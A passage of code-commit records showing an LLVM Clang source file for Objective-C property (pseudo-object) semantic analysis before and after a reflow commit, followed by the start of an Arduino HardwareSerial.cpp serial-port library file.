Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements semantic analysis for expressions involving\n\/\/ pseudo-object references. Pseudo-objects are conceptual objects\n\/\/ whose storage is entirely abstract and all accesses to which are\n\/\/ translated through some sort of abstraction barrier.\n\/\/\n\/\/ For example, Objective-C objects can have \"properties\", either\n\/\/ declared or undeclared. A property may be accessed by writing\n\/\/ expr.prop\n\/\/ where 'expr' is an r-value of Objective-C pointer type and 'prop'\n\/\/ is the name of the property. If this expression is used in a context\n\/\/ needing an r-value, it is treated as if it were a message-send\n\/\/ of the associated 'getter' selector, typically:\n\/\/ [expr prop]\n\/\/ If it is used as the LHS of a simple assignment, it is treated\n\/\/ as a message-send of the associated 'setter' selector, typically:\n\/\/ [expr setProp: RHS]\n\/\/ If it is used as the LHS of a compound assignment, or the operand\n\/\/ of a unary increment or decrement, both are required; for example,\n\/\/ 'expr.prop *= 100' would be translated to:\n\/\/ [expr setProp: [expr prop] * 100]\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Sema\/SemaInternal.h\"\n#include \"clang\/Sema\/Initialization.h\"\n#include \"clang\/AST\/ExprObjC.h\"\n#include \"clang\/Lex\/Preprocessor.h\"\n\nusing namespace clang;\nusing namespace sema;\n\nstatic ObjCMethodDecl *LookupMethodInReceiverType(Sema &S, Selector sel,\n const ObjCPropertyRefExpr *PRE) {\n bool instanceProperty;\n QualType searchType;\n if (PRE->isObjectReceiver()) {\n searchType = PRE->getBase()->getType()\n ->castAs<ObjCObjectPointerType>()->getPointeeType();\n instanceProperty = true;\n } else if (PRE->isSuperReceiver()) {\n searchType = PRE->getSuperReceiverType();\n instanceProperty = false;\n if (const ObjCObjectPointerType *PT\n = searchType->getAs<ObjCObjectPointerType>()) {\n searchType = PT->getPointeeType();\n instanceProperty = true;\n }\n } else if (PRE->isClassReceiver()) {\n searchType = S.Context.getObjCInterfaceType(PRE->getClassReceiver());\n instanceProperty = false;\n }\n\n return S.LookupMethodInObjectType(sel, searchType, instanceProperty);\n}\n\nExprResult Sema::checkPseudoObjectRValue(Expr *E) {\n assert(E->getValueKind() == VK_LValue &&\n E->getObjectKind() == OK_ObjCProperty);\n const ObjCPropertyRefExpr *PRE = E->getObjCProperty();\n\n QualType ReceiverType;\n if (PRE->isObjectReceiver())\n ReceiverType = PRE->getBase()->getType();\n else if (PRE->isSuperReceiver())\n ReceiverType = PRE->getSuperReceiverType();\n else\n ReceiverType = Context.getObjCInterfaceType(PRE->getClassReceiver());\n \n ExprValueKind VK = VK_RValue;\n QualType T;\n if (PRE->isImplicitProperty()) {\n if (ObjCMethodDecl *GetterMethod = \n PRE->getImplicitPropertyGetter()) {\n T = getMessageSendResultType(ReceiverType, GetterMethod,\n PRE->isClassReceiver(), \n PRE->isSuperReceiver());\n VK = Expr::getValueKindForType(GetterMethod->getResultType());\n } else {\n Diag(PRE->getLocation(), diag::err_getter_not_found)\n << PRE->getBase()->getType();\n return ExprError();\n }\n } else {\n ObjCPropertyDecl *prop = PRE->getExplicitProperty();\n\n ObjCMethodDecl *getter =\n LookupMethodInReceiverType(*this, prop->getGetterName(), PRE);\n if (getter && !getter->hasRelatedResultType())\n DiagnosePropertyAccessorMismatch(prop, getter, PRE->getLocation());\n if (!getter) getter = prop->getGetterMethodDecl();\n\n \/\/ Figure out the type of the expression. Mostly this is the\n \/\/ result type of the getter, if possible.\n if (getter) {\n T = getMessageSendResultType(ReceiverType, getter, \n PRE->isClassReceiver(), \n PRE->isSuperReceiver());\n VK = Expr::getValueKindForType(getter->getResultType());\n\n \/\/ As a special case, if the method returns 'id', try to get a\n \/\/ better type from the property.\n if (VK == VK_RValue && T->isObjCIdType() &&\n prop->getType()->isObjCRetainableType())\n T = prop->getType();\n } else {\n T = prop->getType();\n VK = Expr::getValueKindForType(T);\n T = T.getNonLValueExprType(Context);\n }\n }\n\n E->setType(T);\n E = ImplicitCastExpr::Create(Context, T, CK_GetObjCProperty, E, 0, VK);\n \n ExprResult Result = MaybeBindToTemporary(E);\n if (!Result.isInvalid())\n E = Result.take();\n\n return Owned(E);\n}\n\nnamespace {\n struct PseudoObjectInfo {\n const ObjCPropertyRefExpr *RefExpr;\n bool HasSetter;\n Selector SetterSelector;\n ParmVarDecl *SetterParam;\n QualType SetterParamType;\n\n void setSetter(ObjCMethodDecl *setter) {\n HasSetter = true;\n SetterParam = *setter->param_begin();\n SetterParamType = SetterParam->getType().getUnqualifiedType();\n }\n\n PseudoObjectInfo(Sema &S, Expr *E)\n : RefExpr(E->getObjCProperty()), HasSetter(false), SetterParam(0) {\n\n assert(E->getValueKind() == VK_LValue &&\n E->getObjectKind() == OK_ObjCProperty);\n\n \/\/ Try to find a setter.\n\n \/\/ For implicit properties, just trust the lookup we already did.\n if (RefExpr->isImplicitProperty()) {\n if (ObjCMethodDecl *setter = RefExpr->getImplicitPropertySetter()) {\n setSetter(setter);\n SetterSelector = setter->getSelector();\n } else {\n IdentifierInfo *getterName =\n RefExpr->getImplicitPropertyGetter()->getSelector()\n .getIdentifierInfoForSlot(0);\n SetterSelector = \n SelectorTable::constructSetterName(S.PP.getIdentifierTable(),\n S.PP.getSelectorTable(),\n getterName);\n }\n return;\n }\n\n \/\/ For explicit properties, this is more involved.\n ObjCPropertyDecl *prop = RefExpr->getExplicitProperty();\n SetterSelector = prop->getSetterName();\n\n \/\/ Do a normal method lookup first.\n if (ObjCMethodDecl *setter =\n LookupMethodInReceiverType(S, SetterSelector, RefExpr)) {\n setSetter(setter);\n return;\n }\n\n \/\/ If that failed, trust the type on the @property declaration.\n if (!prop->isReadOnly()) {\n HasSetter = true;\n SetterParamType = prop->getType().getUnqualifiedType();\n }\n }\n };\n}\n\n\/\/\/ Check an increment or decrement of a pseudo-object expression.\nExprResult Sema::checkPseudoObjectIncDec(Scope *S, SourceLocation opcLoc,\n UnaryOperatorKind opcode, Expr *op) {\n assert(UnaryOperator::isIncrementDecrementOp(opcode));\n PseudoObjectInfo info(*this, op);\n\n \/\/ If there's no setter, we have no choice but to try to assign to\n \/\/ the result of the getter.\n if (!info.HasSetter) {\n QualType resultType = info.RefExpr->getGetterResultType();\n assert(!resultType.isNull() && \"property has no setter and no getter!\");\n\n \/\/ Only do this if the getter returns an l-value reference type.\n if (const LValueReferenceType *refType\n = resultType->getAs<LValueReferenceType>()) {\n op = ImplicitCastExpr::Create(Context, refType->getPointeeType(),\n CK_GetObjCProperty, op, 0, VK_LValue);\n return BuildUnaryOp(S, opcLoc, opcode, op);\n }\n\n \/\/ Otherwise, it's an error.\n Diag(opcLoc, diag::err_nosetter_property_incdec)\n << unsigned(info.RefExpr->isImplicitProperty())\n << unsigned(UnaryOperator::isDecrementOp(opcode))\n << info.SetterSelector\n << op->getSourceRange();\n return ExprError();\n }\n\n \/\/ ++\/-- behave like compound assignments, i.e. they need a getter.\n QualType getterResultType = info.RefExpr->getGetterResultType();\n if (getterResultType.isNull()) {\n assert(info.RefExpr->isImplicitProperty());\n Diag(opcLoc, diag::err_nogetter_property_incdec)\n << unsigned(UnaryOperator::isDecrementOp(opcode))\n << info.RefExpr->getImplicitPropertyGetter()->getSelector()\n << op->getSourceRange();\n return ExprError();\n }\n\n \/\/ HACK: change the type of the operand to prevent further placeholder\n \/\/ transformation.\n op->setType(getterResultType.getNonLValueExprType(Context));\n op->setObjectKind(OK_Ordinary);\n \n ExprResult result = CreateBuiltinUnaryOp(opcLoc, opcode, op);\n if (result.isInvalid()) return ExprError();\n\n \/\/ Change the object kind back.\n op->setObjectKind(OK_ObjCProperty);\n return result;\n}\n\nExprResult Sema::checkPseudoObjectAssignment(Scope *S, SourceLocation opcLoc,\n BinaryOperatorKind opcode,\n Expr *LHS, Expr *RHS) {\n assert(BinaryOperator::isAssignmentOp(opcode));\n PseudoObjectInfo info(*this, LHS);\n\n \/\/ If there's no setter, we have no choice but to try to assign to\n \/\/ the result of the getter.\n if (!info.HasSetter) {\n QualType resultType = info.RefExpr->getGetterResultType();\n assert(!resultType.isNull() && \"property has no setter and no getter!\");\n\n \/\/ Only do this if the getter returns an l-value reference type.\n if (const LValueReferenceType *refType\n = resultType->getAs<LValueReferenceType>()) {\n LHS = ImplicitCastExpr::Create(Context, refType->getPointeeType(),\n CK_GetObjCProperty, LHS, 0, VK_LValue);\n return BuildBinOp(S, opcLoc, opcode, LHS, RHS);\n }\n\n \/\/ Otherwise, it's an error.\n Diag(opcLoc, diag::err_nosetter_property_assignment)\n << unsigned(info.RefExpr->isImplicitProperty())\n << info.SetterSelector\n << LHS->getSourceRange() << RHS->getSourceRange();\n return ExprError();\n }\n\n \/\/ If there is a setter, we definitely want to use it.\n\n \/\/ If this is a simple assignment, just initialize the parameter\n \/\/ with the RHS.\n if (opcode == BO_Assign) {\n LHS->setType(info.SetterParamType.getNonLValueExprType(Context));\n\n \/\/ Under certain circumstances, we need to type-check the RHS as a\n \/\/ straight-up parameter initialization. This gives somewhat\n \/\/ inferior diagnostics, so we try to avoid it.\n\n if (RHS->isTypeDependent()) {\n \/\/ Just build the expression.\n\n } else if ((getLangOptions().CPlusPlus && LHS->getType()->isRecordType()) ||\n (getLangOptions().ObjCAutoRefCount &&\n info.SetterParam &&\n info.SetterParam->hasAttr<NSConsumedAttr>())) {\n InitializedEntity param = (info.SetterParam\n ? InitializedEntity::InitializeParameter(Context, info.SetterParam)\n : InitializedEntity::InitializeParameter(Context, info.SetterParamType,\n \/*consumed*\/ false));\n ExprResult arg = PerformCopyInitialization(param, opcLoc, RHS);\n if (arg.isInvalid()) return ExprError();\n RHS = arg.take();\n\n \/\/ Warn about assignments of +1 objects to unsafe pointers in ARC.\n \/\/ CheckAssignmentOperands does this on the other path.\n if (getLangOptions().ObjCAutoRefCount)\n checkUnsafeExprAssigns(opcLoc, LHS, RHS);\n } else {\n ExprResult RHSResult = Owned(RHS);\n\n LHS->setObjectKind(OK_Ordinary);\n QualType resultType = CheckAssignmentOperands(LHS, RHSResult, opcLoc,\n \/*compound*\/ QualType());\n LHS->setObjectKind(OK_ObjCProperty);\n\n if (!RHSResult.isInvalid()) RHS = RHSResult.take();\n if (resultType.isNull()) return ExprError();\n }\n\n \/\/ Warn about property sets in ARC that might cause retain cycles.\n if (getLangOptions().ObjCAutoRefCount && !info.RefExpr->isSuperReceiver())\n checkRetainCycles(const_cast<Expr*>(info.RefExpr->getBase()), RHS);\n\n return new (Context) BinaryOperator(LHS, RHS, opcode, RHS->getType(),\n RHS->getValueKind(),\n RHS->getObjectKind(),\n opcLoc);\n }\n\n \/\/ If this is a compound assignment, we need to use the getter, too.\n QualType getterResultType = info.RefExpr->getGetterResultType();\n if (getterResultType.isNull()) {\n Diag(opcLoc, diag::err_nogetter_property_compound_assignment)\n << LHS->getSourceRange() << RHS->getSourceRange();\n return ExprError();\n }\n\n \/\/ HACK: change the type of the LHS to prevent further placeholder\n \/\/ transformation.\n LHS->setType(getterResultType.getNonLValueExprType(Context));\n LHS->setObjectKind(OK_Ordinary);\n \n ExprResult result = CreateBuiltinBinOp(opcLoc, opcode, LHS, RHS);\n if (result.isInvalid()) return ExprError();\n\n \/\/ Change the object kind back.\n LHS->setObjectKind(OK_ObjCProperty);\n return result;\n}\n<commit_msg>Reflow code. No intended functionality change.<commit_after>\/\/===--- SemaPseudoObject.cpp - Semantic Analysis for Pseudo-Objects ------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements semantic analysis for expressions involving\n\/\/ pseudo-object references. Pseudo-objects are conceptual objects\n\/\/ whose storage is entirely abstract and all accesses to which are\n\/\/ translated through some sort of abstraction barrier.\n\/\/\n\/\/ For example, Objective-C objects can have \"properties\", either\n\/\/ declared or undeclared. A property may be accessed by writing\n\/\/ expr.prop\n\/\/ where 'expr' is an r-value of Objective-C pointer type and 'prop'\n\/\/ is the name of the property. If this expression is used in a context\n\/\/ needing an r-value, it is treated as if it were a message-send\n\/\/ of the associated 'getter' selector, typically:\n\/\/ [expr prop]\n\/\/ If it is used as the LHS of a simple assignment, it is treated\n\/\/ as a message-send of the associated 'setter' selector, typically:\n\/\/ [expr setProp: RHS]\n\/\/ If it is used as the LHS of a compound assignment, or the operand\n\/\/ of a unary increment or decrement, both are required; for example,\n\/\/ 'expr.prop *= 100' would be translated to:\n\/\/ [expr setProp: [expr prop] * 100]\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Sema\/SemaInternal.h\"\n#include \"clang\/Sema\/Initialization.h\"\n#include \"clang\/AST\/ExprObjC.h\"\n#include \"clang\/Lex\/Preprocessor.h\"\n\nusing namespace clang;\nusing namespace sema;\n\nstatic ObjCMethodDecl *LookupMethodInReceiverType(Sema &S, Selector sel,\n const ObjCPropertyRefExpr *PRE) {\n if (PRE->isObjectReceiver()) {\n const ObjCObjectPointerType *PT =\n PRE->getBase()->getType()->castAs<ObjCObjectPointerType>();\n return S.LookupMethodInObjectType(sel, PT->getPointeeType(), true);\n }\n\n if (PRE->isSuperReceiver()) {\n if (const ObjCObjectPointerType *PT =\n PRE->getSuperReceiverType()->getAs<ObjCObjectPointerType>())\n return S.LookupMethodInObjectType(sel, PT->getPointeeType(), true);\n\n return S.LookupMethodInObjectType(sel, PRE->getSuperReceiverType(), false);\n }\n\n assert(PRE->isClassReceiver() && \"Invalid expression\");\n QualType IT = S.Context.getObjCInterfaceType(PRE->getClassReceiver());\n return S.LookupMethodInObjectType(sel, IT, false);\n}\n\nExprResult Sema::checkPseudoObjectRValue(Expr *E) {\n assert(E->getValueKind() == VK_LValue &&\n E->getObjectKind() == OK_ObjCProperty);\n const ObjCPropertyRefExpr *PRE = E->getObjCProperty();\n\n QualType ReceiverType;\n if (PRE->isObjectReceiver())\n ReceiverType = PRE->getBase()->getType();\n else if (PRE->isSuperReceiver())\n ReceiverType = PRE->getSuperReceiverType();\n else\n ReceiverType = Context.getObjCInterfaceType(PRE->getClassReceiver());\n \n ExprValueKind VK = VK_RValue;\n QualType T;\n if (PRE->isImplicitProperty()) {\n if (ObjCMethodDecl *GetterMethod = \n PRE->getImplicitPropertyGetter()) {\n T = getMessageSendResultType(ReceiverType, GetterMethod,\n PRE->isClassReceiver(), \n PRE->isSuperReceiver());\n VK = Expr::getValueKindForType(GetterMethod->getResultType());\n } else {\n Diag(PRE->getLocation(), diag::err_getter_not_found)\n << PRE->getBase()->getType();\n return ExprError();\n }\n } else {\n ObjCPropertyDecl *prop = PRE->getExplicitProperty();\n\n ObjCMethodDecl *getter =\n LookupMethodInReceiverType(*this, prop->getGetterName(), PRE);\n if (getter && !getter->hasRelatedResultType())\n DiagnosePropertyAccessorMismatch(prop, getter, PRE->getLocation());\n if (!getter) getter = prop->getGetterMethodDecl();\n\n \/\/ Figure out the type of the expression. Mostly this is the\n \/\/ result type of the getter, if possible.\n if (getter) {\n T = getMessageSendResultType(ReceiverType, getter, \n PRE->isClassReceiver(), \n PRE->isSuperReceiver());\n VK = Expr::getValueKindForType(getter->getResultType());\n\n \/\/ As a special case, if the method returns 'id', try to get a\n \/\/ better type from the property.\n if (VK == VK_RValue && T->isObjCIdType() &&\n prop->getType()->isObjCRetainableType())\n T = prop->getType();\n } else {\n T = prop->getType();\n VK = Expr::getValueKindForType(T);\n T = T.getNonLValueExprType(Context);\n }\n }\n\n E->setType(T);\n E = ImplicitCastExpr::Create(Context, T, CK_GetObjCProperty, E, 0, VK);\n \n ExprResult Result = MaybeBindToTemporary(E);\n if (!Result.isInvalid())\n E = Result.take();\n\n return Owned(E);\n}\n\nnamespace {\n struct PseudoObjectInfo {\n const ObjCPropertyRefExpr *RefExpr;\n bool HasSetter;\n Selector SetterSelector;\n ParmVarDecl *SetterParam;\n QualType SetterParamType;\n\n void setSetter(ObjCMethodDecl *setter) {\n HasSetter = true;\n SetterParam = *setter->param_begin();\n SetterParamType = SetterParam->getType().getUnqualifiedType();\n }\n\n PseudoObjectInfo(Sema &S, Expr *E)\n : RefExpr(E->getObjCProperty()), HasSetter(false), SetterParam(0) {\n\n assert(E->getValueKind() == VK_LValue &&\n E->getObjectKind() == OK_ObjCProperty);\n\n \/\/ Try to find a setter.\n\n \/\/ For implicit properties, just trust the lookup we already did.\n if (RefExpr->isImplicitProperty()) {\n if (ObjCMethodDecl *setter = RefExpr->getImplicitPropertySetter()) {\n setSetter(setter);\n SetterSelector = setter->getSelector();\n } else {\n IdentifierInfo *getterName =\n RefExpr->getImplicitPropertyGetter()->getSelector()\n .getIdentifierInfoForSlot(0);\n SetterSelector = \n SelectorTable::constructSetterName(S.PP.getIdentifierTable(),\n S.PP.getSelectorTable(),\n getterName);\n }\n return;\n }\n\n \/\/ For explicit properties, this is more involved.\n ObjCPropertyDecl *prop = RefExpr->getExplicitProperty();\n SetterSelector = prop->getSetterName();\n\n \/\/ Do a normal method lookup first.\n if (ObjCMethodDecl *setter =\n LookupMethodInReceiverType(S, SetterSelector, RefExpr)) {\n setSetter(setter);\n return;\n }\n\n \/\/ If that failed, trust the type on the @property declaration.\n if (!prop->isReadOnly()) {\n HasSetter = true;\n SetterParamType = prop->getType().getUnqualifiedType();\n }\n }\n };\n}\n\n\/\/\/ Check an increment or decrement of a pseudo-object expression.\nExprResult Sema::checkPseudoObjectIncDec(Scope *S, SourceLocation opcLoc,\n UnaryOperatorKind opcode, Expr *op) {\n assert(UnaryOperator::isIncrementDecrementOp(opcode));\n PseudoObjectInfo info(*this, op);\n\n \/\/ If there's no setter, we have no choice but to try to assign to\n \/\/ the result of the getter.\n if (!info.HasSetter) {\n QualType resultType = info.RefExpr->getGetterResultType();\n assert(!resultType.isNull() && \"property has no setter and no getter!\");\n\n \/\/ Only do this if the getter returns an l-value reference type.\n if (const LValueReferenceType *refType\n = resultType->getAs<LValueReferenceType>()) {\n op = ImplicitCastExpr::Create(Context, refType->getPointeeType(),\n CK_GetObjCProperty, op, 0, VK_LValue);\n return BuildUnaryOp(S, opcLoc, opcode, op);\n }\n\n \/\/ Otherwise, it's an error.\n Diag(opcLoc, diag::err_nosetter_property_incdec)\n << unsigned(info.RefExpr->isImplicitProperty())\n << unsigned(UnaryOperator::isDecrementOp(opcode))\n << info.SetterSelector\n << op->getSourceRange();\n return ExprError();\n }\n\n \/\/ ++\/-- behave like compound assignments, i.e. they need a getter.\n QualType getterResultType = info.RefExpr->getGetterResultType();\n if (getterResultType.isNull()) {\n assert(info.RefExpr->isImplicitProperty());\n Diag(opcLoc, diag::err_nogetter_property_incdec)\n << unsigned(UnaryOperator::isDecrementOp(opcode))\n << info.RefExpr->getImplicitPropertyGetter()->getSelector()\n << op->getSourceRange();\n return ExprError();\n }\n\n \/\/ HACK: change the type of the operand to prevent further placeholder\n \/\/ transformation.\n op->setType(getterResultType.getNonLValueExprType(Context));\n op->setObjectKind(OK_Ordinary);\n \n ExprResult result = CreateBuiltinUnaryOp(opcLoc, opcode, op);\n if (result.isInvalid()) return ExprError();\n\n \/\/ Change the object kind back.\n op->setObjectKind(OK_ObjCProperty);\n return result;\n}\n\nExprResult Sema::checkPseudoObjectAssignment(Scope *S, SourceLocation opcLoc,\n BinaryOperatorKind opcode,\n Expr *LHS, Expr *RHS) {\n assert(BinaryOperator::isAssignmentOp(opcode));\n PseudoObjectInfo info(*this, LHS);\n\n \/\/ If there's no setter, we have no choice but to try to assign to\n \/\/ the result of the getter.\n if (!info.HasSetter) {\n QualType resultType = info.RefExpr->getGetterResultType();\n assert(!resultType.isNull() && \"property has no setter and no getter!\");\n\n \/\/ Only do this if the getter returns an l-value reference type.\n if (const LValueReferenceType *refType\n = resultType->getAs<LValueReferenceType>()) {\n LHS = ImplicitCastExpr::Create(Context, refType->getPointeeType(),\n CK_GetObjCProperty, LHS, 0, VK_LValue);\n return BuildBinOp(S, opcLoc, opcode, LHS, RHS);\n }\n\n \/\/ Otherwise, it's an error.\n Diag(opcLoc, diag::err_nosetter_property_assignment)\n << unsigned(info.RefExpr->isImplicitProperty())\n << info.SetterSelector\n << LHS->getSourceRange() << RHS->getSourceRange();\n return ExprError();\n }\n\n \/\/ If there is a setter, we definitely want to use it.\n\n \/\/ If this is a simple assignment, just initialize the parameter\n \/\/ with the RHS.\n if (opcode == BO_Assign) {\n LHS->setType(info.SetterParamType.getNonLValueExprType(Context));\n\n \/\/ Under certain circumstances, we need to type-check the RHS as a\n \/\/ straight-up parameter initialization. This gives somewhat\n \/\/ inferior diagnostics, so we try to avoid it.\n\n if (RHS->isTypeDependent()) {\n \/\/ Just build the expression.\n\n } else if ((getLangOptions().CPlusPlus && LHS->getType()->isRecordType()) ||\n (getLangOptions().ObjCAutoRefCount &&\n info.SetterParam &&\n info.SetterParam->hasAttr<NSConsumedAttr>())) {\n InitializedEntity param = (info.SetterParam\n ? InitializedEntity::InitializeParameter(Context, info.SetterParam)\n : InitializedEntity::InitializeParameter(Context, info.SetterParamType,\n \/*consumed*\/ false));\n ExprResult arg = PerformCopyInitialization(param, opcLoc, RHS);\n if (arg.isInvalid()) return ExprError();\n RHS = arg.take();\n\n \/\/ Warn about assignments of +1 objects to unsafe pointers in ARC.\n \/\/ CheckAssignmentOperands does this on the other path.\n if (getLangOptions().ObjCAutoRefCount)\n checkUnsafeExprAssigns(opcLoc, LHS, RHS);\n } else {\n ExprResult RHSResult = Owned(RHS);\n\n LHS->setObjectKind(OK_Ordinary);\n QualType resultType = CheckAssignmentOperands(LHS, RHSResult, opcLoc,\n \/*compound*\/ QualType());\n LHS->setObjectKind(OK_ObjCProperty);\n\n if (!RHSResult.isInvalid()) RHS = RHSResult.take();\n if (resultType.isNull()) return ExprError();\n }\n\n \/\/ Warn about property sets in ARC that might cause retain cycles.\n if (getLangOptions().ObjCAutoRefCount && !info.RefExpr->isSuperReceiver())\n checkRetainCycles(const_cast<Expr*>(info.RefExpr->getBase()), RHS);\n\n return new (Context) BinaryOperator(LHS, RHS, opcode, RHS->getType(),\n RHS->getValueKind(),\n RHS->getObjectKind(),\n opcLoc);\n }\n\n \/\/ If this is a compound assignment, we need to use the getter, too.\n QualType getterResultType = info.RefExpr->getGetterResultType();\n if (getterResultType.isNull()) {\n Diag(opcLoc, diag::err_nogetter_property_compound_assignment)\n << LHS->getSourceRange() << RHS->getSourceRange();\n return ExprError();\n }\n\n \/\/ HACK: change the type of the LHS to prevent further placeholder\n \/\/ transformation.\n LHS->setType(getterResultType.getNonLValueExprType(Context));\n LHS->setObjectKind(OK_Ordinary);\n \n ExprResult result = CreateBuiltinBinOp(opcLoc, opcode, LHS, RHS);\n if (result.isInvalid()) return ExprError();\n\n \/\/ Change the object kind back.\n LHS->setObjectKind(OK_ObjCProperty);\n return result;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n HardwareSerial.cpp - Hardware serial library for Wiring\n Copyright (c) 2006 Nicholas Zambetti. All right reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n \n Modified 23 November 2006 by David A. Mellis\n Modified 28 September 2010 by Mark Sproul\n*\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <inttypes.h>\n#include \"wiring.h\"\n#include \"wiring_private.h\"\n\n\/\/ this next line disables the entire HardwareSerial.cpp, \n\/\/ this is so I can support Attiny series and any other chip without a uart\n#if defined(UBRRH) || defined(UBRR0H) || defined(UBRR1H) || defined(UBRR2H) || defined(UBRR3H)\n\n#include \"HardwareSerial.h\"\n\n\/\/ Define constants and variables for buffering incoming serial data. We're\n\/\/ using a ring buffer (I think), in which rx_buffer_head is the index of the\n\/\/ location to which to write the next incoming character and rx_buffer_tail\n\/\/ is the index of the location from which to read.\n#if (RAMEND < 1000)\n #define RX_BUFFER_SIZE 32\n#else\n #define RX_BUFFER_SIZE 128\n#endif\n\nstruct ring_buffer\n{\n unsigned char buffer[RX_BUFFER_SIZE];\n int head;\n int tail;\n};\n\n#if defined(UBRRH) || defined(UBRR0H)\n ring_buffer rx_buffer = { { 0 }, 0, 0 };\n#endif\n#if defined(UBRR1H)\n ring_buffer rx_buffer1 = { { 0 }, 0, 0 };\n#endif\n#if defined(UBRR2H)\n ring_buffer rx_buffer2 = { { 0 }, 0, 0 };\n#endif\n#if defined(UBRR3H)\n ring_buffer rx_buffer3 = { { 0 }, 0, 0 };\n#endif\n\ninline void store_char(unsigned char c, ring_buffer *rx_buffer)\n{\n int i = (unsigned int)(rx_buffer->head + 1) % RX_BUFFER_SIZE;\n\n \/\/ if we should be storing the received character into the location\n \/\/ just before the tail (meaning that the head would advance to the\n \/\/ current location of the tail), we're about to overflow the buffer\n \/\/ and so we don't write the character or advance the head.\n if (i != rx_buffer->tail) {\n rx_buffer->buffer[rx_buffer->head] = c;\n rx_buffer->head = i;\n }\n}\n\n#if defined(USART_RX_vect)\n SIGNAL(USART_RX_vect)\n {\n #if defined(UDR0)\n unsigned char c = UDR0;\n #elif defined(UDR)\n unsigned char c = UDR; \/\/ atmega8535\n #else\n #error UDR not defined\n #endif\n store_char(c, &rx_buffer);\n }\n#elif defined(SIG_USART0_RECV) && defined(UDR0)\n SIGNAL(SIG_USART0_RECV)\n {\n unsigned char c = UDR0;\n store_char(c, &rx_buffer);\n }\n#elif defined(SIG_UART0_RECV) && defined(UDR0)\n SIGNAL(SIG_UART0_RECV)\n {\n unsigned char c = UDR0;\n store_char(c, &rx_buffer);\n }\n\/\/#elif defined(SIG_USART_RECV)\n#elif defined(USART0_RX_vect)\n \/\/ fixed by Mark Sproul this is on the 644\/644p\n \/\/SIGNAL(SIG_USART_RECV)\n SIGNAL(USART0_RX_vect)\n {\n #if defined(UDR0)\n unsigned char c = UDR0;\n #elif defined(UDR)\n unsigned char c = UDR; \/\/ atmega8, atmega32\n #else\n #error UDR not defined\n #endif\n store_char(c, &rx_buffer);\n }\n#elif defined(SIG_UART_RECV)\n \/\/ this is for atmega8\n SIGNAL(SIG_UART_RECV)\n {\n #if defined(UDR0)\n unsigned char c = UDR0; \/\/ atmega645\n #elif defined(UDR)\n unsigned char c = UDR; \/\/ atmega8\n #endif\n store_char(c, &rx_buffer);\n }\n#elif defined(USBCON)\n #warning No interrupt handler for usart 0\n #warning Serial(0) is on USB interface\n#else\n #error No interrupt handler for usart 0\n#endif\n\n\/\/#if defined(SIG_USART1_RECV)\n#if defined(USART1_RX_vect)\n \/\/SIGNAL(SIG_USART1_RECV)\n SIGNAL(USART1_RX_vect)\n {\n unsigned char c = UDR1;\n store_char(c, &rx_buffer1);\n }\n#elif defined(SIG_USART1_RECV)\n #error SIG_USART1_RECV\n#endif\n\n#if defined(USART2_RX_vect) && defined(UDR2)\n SIGNAL(USART2_RX_vect)\n {\n unsigned char c = UDR2;\n store_char(c, &rx_buffer2);\n }\n#elif defined(SIG_USART2_RECV)\n #error SIG_USART2_RECV\n#endif\n\n#if defined(USART3_RX_vect) && defined(UDR3)\n SIGNAL(USART3_RX_vect)\n {\n unsigned char c = UDR3;\n store_char(c, &rx_buffer3);\n }\n#elif defined(SIG_USART3_RECV)\n #error SIG_USART3_RECV\n#endif\n\n\n\n\/\/ Constructors \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nHardwareSerial::HardwareSerial(ring_buffer *rx_buffer,\n volatile uint8_t *ubrrh, volatile uint8_t *ubrrl,\n volatile uint8_t *ucsra, volatile uint8_t *ucsrb,\n volatile uint8_t *udr,\n uint8_t rxen, uint8_t txen, uint8_t rxcie, uint8_t udre, uint8_t u2x)\n{\n _rx_buffer = rx_buffer;\n _ubrrh = ubrrh;\n _ubrrl = ubrrl;\n _ucsra = ucsra;\n _ucsrb = ucsrb;\n _udr = udr;\n _rxen = rxen;\n _txen = txen;\n _rxcie = rxcie;\n _udre = udre;\n _u2x = u2x;\n}\n\n\/\/ Public Methods \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid HardwareSerial::begin(unsigned long baud)\n{\n uint16_t baud_setting;\n bool use_u2x = true;\n\n#if F_CPU == 16000000UL\n \/\/ hardcoded exception for compatibility with the bootloader shipped\n \/\/ with the Duemilanove and previous boards and the firmware on the 8U2\n \/\/ on the Uno and Mega 2560.\n if (baud == 57600) {\n use_u2x = false;\n }\n#endif\n \n if (use_u2x) {\n *_ucsra = 1 << _u2x;\n baud_setting = (F_CPU \/ 4 \/ baud - 1) \/ 2;\n } else {\n *_ucsra = 0;\n baud_setting = (F_CPU \/ 8 \/ baud - 1) \/ 2;\n }\n\n \/\/ assign the baud_setting, a.k.a. ubbr (USART Baud Rate Register)\n *_ubrrh = baud_setting >> 8;\n *_ubrrl = baud_setting;\n\n sbi(*_ucsrb, _rxen);\n sbi(*_ucsrb, _txen);\n 